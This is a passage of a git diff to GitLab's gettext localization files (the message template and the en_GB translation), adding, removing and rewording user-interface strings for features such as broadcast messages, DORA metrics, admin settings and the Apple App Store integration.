msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/en_GB/gitlab.po b/locale/en_GB/gitlab.po
index ddca9843cd6..0ae1e1cbe43 100644
--- a/locale/en_GB/gitlab.po
+++ b/locale/en_GB/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: en-GB\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:42\n"
+"PO-Revision-Date: 2023-01-10 07:03\n"
msgid " %{start} to %{end}"
msgstr " %{start} to %{end}"
@@ -750,6 +750,9 @@ msgstr "%{italic_start}What's new%{italic_end} is inactive and cannot be viewed.
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr "%{itemsCount} issues with a limit of %{maxIssueCount}"
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr "%{labelStart}Actual response:%{labelEnd} %{headers}"
@@ -822,6 +825,9 @@ msgstr "%{level_name} is not allowed in a %{group_level_name} group."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} is not allowed since the fork source project has lower visibility."
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr "Quota of CI/CD minutes"
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr "Header"
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr "Maximum of %{number} HTTP headers has been reached."
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr "Median time (last %{days}d)"
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr "Median time an incident was open in a production environment over the given time period."
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr "Number of incidents divided by the number of deployments to a production environment in the given time period."
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr "Percentage of failed deployments"
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr "Time to restore service"
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr "Deletion protection"
msgid "DeletionSettings|Keep deleted"
msgstr "Keep deleted"
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr "Keep deleted projects for %{number} days"
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr "Keep deleted projects for 1 day"
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr "None, delete immediately"
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr "Access token is %{token_in_code_tag}"
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr "Expires %{preposition} %{expires_at}"
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr " %{search} %{description} %{scope}"
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr "Groups"
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr "Projects"
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr "Groups are the best way to manage multiple projects and members."
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr "No subgroups or projects."
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
